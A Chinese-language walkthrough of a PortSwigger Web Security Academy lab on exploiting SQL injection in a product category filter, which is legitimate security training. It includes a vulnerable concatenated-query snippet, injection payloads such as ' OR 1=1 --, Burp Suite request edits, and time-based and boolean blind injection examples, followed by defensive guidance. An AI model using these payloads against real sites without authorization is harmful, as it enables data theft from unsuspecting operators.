1. 实验背景与目标解析
这个SQL注入实验来自PortSwigger的Web Security Academy平台,属于学徒级(Apprentice)难度。作为网络安全领域的经典入门实验,它完美展示了Web应用中最常见的安全漏洞之一——SQL注入的实际利用场景。
实验模拟了一个电商网站的产品分类筛选功能。当用户点击不同商品分类时,网站后端会执行类似这样的SQL查询:
sql复制SELECT * FROM products WHERE category = 'Gifts' AND released = 1
其中released = 1表示只显示已发布的产品。问题在于,category参数直接从用户输入拼接而来,没有任何过滤或转义处理。这种粗糙的实现方式,使得攻击者可以通过精心构造的输入改变SQL语句的原始逻辑。
关键点:字符型注入与数字型注入的最大区别在于参数是否被引号包裹。本例中参数被单引号包裹('Gifts'),属于典型的字符型注入场景。
2. 漏洞原理深度剖析
2.1 SQL语句拼接的致命缺陷
现代Web应用通常采用三层架构:表示层(前端)、业务逻辑层(后端)和数据层(数据库)。当后端代码这样拼接SQL时:
python复制query = "SELECT * FROM products WHERE category = '" + user_input + "' AND released = 1"
攻击者只需在user_input中插入单引号,就能破坏原有SQL语法结构。例如输入Gifts' -- ,生成的SQL会变成:
sql复制SELECT * FROM products WHERE category = 'Gifts' -- ' AND released = 1
这里--是SQL的单行注释符,它使得后面的AND released = 1条件失效,导致未发布的产品也被查询出来。
2.2 注释符的多种形式
不同数据库系统的注释语法略有差异:
- MySQL/PostgreSQL:
--(注意末尾空格)、# - Oracle:
-- - SQL Server:
--、/* */
在URL中传递时,空格需要编码为+或%20,因此实验中使用的--+是为了确保注释符被正确解析。
2.3 永真条件的构造艺术
除了使用注释符,另一种更彻底的方法是构造永真条件。例如:
sql复制SELECT * FROM products WHERE category = 'Gifts' OR 1=1 -- ' AND released = 1
OR 1=1使WHERE条件永远为真,因此会返回products表中的所有记录,无视任何筛选条件。这是SQL注入中最经典的攻击手法之一。
3. 手工注入实战详解
3.1 初步探测与漏洞确认
首先通过简单测试确认注入点:
- 正常访问:
/filter?category=Gifts - 注入测试:
/filter?category=Gifts'
如果第二个请求返回数据库错误(如500状态码),基本可以确认存在SQL注入漏洞。这是因为未闭合的单引号导致SQL语法错误。
3.2 分步注入过程
第一步:基础注入测试
url复制/filter?category=Gifts' --
观察页面是否显示额外内容,确认注释符是否生效。
第二步:获取隐藏数据
url复制/filter?category=Gifts' OR 1=1 --
这会返回所有产品,包括未发布的。如果只想获取当前分类下的所有产品(包括未发布的),可以:
url复制/filter?category=Gifts' OR category='Gifts' --
第三步:精确控制返回结果
通过添加LIMIT子句控制返回行数:
url复制/filter?category=Gifts' OR 1=1 LIMIT 5 --
或使用UNION注入获取其他表数据(虽然本实验不需要)。
3.3 特殊字符的URL编码
在URL中直接使用某些字符可能导致解析问题,因此需要编码:
- 空格:
%20或+ - 单引号:
%27 - 注释符:
--%20
例如:
url复制/filter?category=Gifts%27%20OR%201=1%20--
4. Burp Suite专业工具利用
对于更复杂的注入场景,使用Burp Suite会大大提高效率。
4.1 配置与抓包
- 设置浏览器代理为Burp Suite(默认127.0.0.1:8080)
- 访问目标网站并点击商品分类
- 在Burp的Proxy→Intercept选项卡中捕获请求
4.2 请求修改与重放
捕获到的GET请求类似:
code复制GET /filter?category=Gifts HTTP/1.1
修改为:
code复制GET /filter?category=Gifts'+OR+1=1--+ HTTP/1.1
点击"Forward"发送修改后的请求。
4.3 使用Repeater模块精细测试
对于需要反复测试的Payload:
- 右键请求 → Send to Repeater
- 在Repeater选项卡中修改参数
- 点击"Send"观察响应变化
- 保存多个变体进行对比分析
5. 防御措施与安全建议
5.1 参数化查询(Prepared Statements)
这是最根本的解决方案。以Java为例:
java复制String query = "SELECT * FROM products WHERE category = ? AND released = 1";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, userInput);
5.2 输入验证与过滤
即使使用参数化查询,也应进行输入验证:
- 白名单:只允许预期的字符(如字母、数字、特定符号)
- 黑名单:过滤SQL关键字(如SELECT, UNION等)
5.3 最小权限原则
数据库用户应遵循最小权限原则:
- 应用账户不应有DROP、ALTER等高危权限
- 不同功能使用不同数据库账户
5.4 Web应用防火墙(WAF)配置
虽然不能替代安全编码,但WAF可以提供额外防护:
- 检测常见的SQL注入模式
- 阻止可疑的请求参数
6. 深入理解与扩展思考
6.1 不同数据库的语法差异
MySQL与SQL Server在注释和字符串连接上的区别:
- MySQL:
CONCAT('str1','str2')或'str1' 'str2' - SQL Server:
'str1'+'str2'
6.2 二阶SQL注入
即使使用了参数化查询,如果数据被存储后又被拼接进SQL,仍可能产生二阶注入:
- 用户输入被安全地存入数据库
- 另一个功能从数据库读取该数据并拼接进SQL
- 恶意代码被执行
6.3 自动化检测工具
除了手工测试,还可以使用:
- sqlmap:自动化SQL注入检测
- OWASP ZAP:综合性安全测试工具
- Burp Scanner:商业级漏洞扫描
7. 实战经验与排错指南
7.1 常见错误与解决方案
问题1:注入后页面无变化
- 可能原因:注入点判断错误、注释符未生效
- 解决方案:尝试不同的注释格式(
--、#、/* */)
问题2:收到500错误
- 可能原因:SQL语法错误、权限不足
- 解决方案:检查引号闭合、减少Payload复杂度
问题3:返回结果被截断
- 可能原因:应用程序有输出限制
- 解决方案:使用
LIMIT和OFFSET分批获取
7.2 高级注入技巧
时间盲注(Time-Based Blind)
当页面无显式回显时,可以利用延时函数判断条件真假:
sql复制Gifts' AND IF(1=1,SLEEP(5),0) --
布尔盲注(Boolean-Based Blind)
通过页面差异推断信息:
sql复制Gifts' AND SUBSTRING(database(),1,1)='a' --
7.3 法律与道德边界
在实际工作中:
- 仅对授权目标进行测试
- 获取书面测试许可
- 不查看或下载真实用户数据
- 测试后清理测试数据
通过这个实验,我们不仅学会了基础的SQL注入技术,更重要的是理解了安全编码的重要性。作为开发者,应该始终对用户输入保持警惕;作为安全人员,则需要不断更新知识以应对新的攻击手法。